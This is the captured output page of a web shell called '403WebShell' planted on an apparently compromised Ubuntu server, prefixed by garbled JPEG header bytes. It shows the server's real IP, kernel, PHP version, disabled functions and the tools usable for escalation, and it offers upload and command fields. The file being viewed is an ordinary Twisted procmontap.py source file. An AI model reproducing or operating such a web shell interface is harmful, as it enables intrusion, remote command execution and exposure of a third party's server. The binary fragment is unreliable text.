����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.191.137.190
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/runner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/runner/procmontap.py
# -*- test-case-name: twisted.runner.test.test_procmontap -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Support for creating a service which runs a process monitor.
"""

from twisted.python import usage
from twisted.runner.procmon import ProcessMonitor


class Options(usage.Options):
    """
    Define the options accepted by the I{twistd procmon} plugin.
    """

    synopsis = "[procmon options] commandline"

    optParameters = [["threshold", "t", 1, "How long a process has to live "
                      "before the death is considered instant, in seconds.",
                      float],
                     ["killtime", "k", 5, "How long a process being killed "
                      "has to get its affairs in order before it gets killed "
                      "with an unmaskable signal.",
                      float],
                     ["minrestartdelay", "m", 1, "The minimum time (in "
                      "seconds) to wait before attempting to restart a "
                      "process", float],
                     ["maxrestartdelay", "M", 3600, "The maximum time (in "
                      "seconds) to wait before attempting to restart a "
                      "process", float]]

    optFlags = []


    longdesc = """\
procmon runs processes, monitors their progress, and restarts them when they
die.

procmon will not attempt to restart a process that appears to die instantly;
with each "instant" death (less than 1 second, by default), it will delay
approximately twice as long before restarting it. A successful run will reset
the counter.

Eg twistd procmon sleep 10"""

    def parseArgs(self, *args):
        """
        Grab the command line that is going to be started and monitored
        """
        self['args'] = args


    def postOptions(self):
        """
        Check for dependencies.
        """
        if len(self["args"]) < 1:
            raise usage.UsageError("Please specify a process commandline")



def makeService(config):
    s = ProcessMonitor()

    s.threshold = config["threshold"]
    s.killTime = config["killtime"]
    s.minRestartDelay = config["minrestartdelay"]
    s.maxRestartDelay = config["maxrestartdelay"]

    s.addProcess(" ".join(config["args"]), config["args"])
    return s

Youez - 2016 - github.com/yon3zu
LinuXploit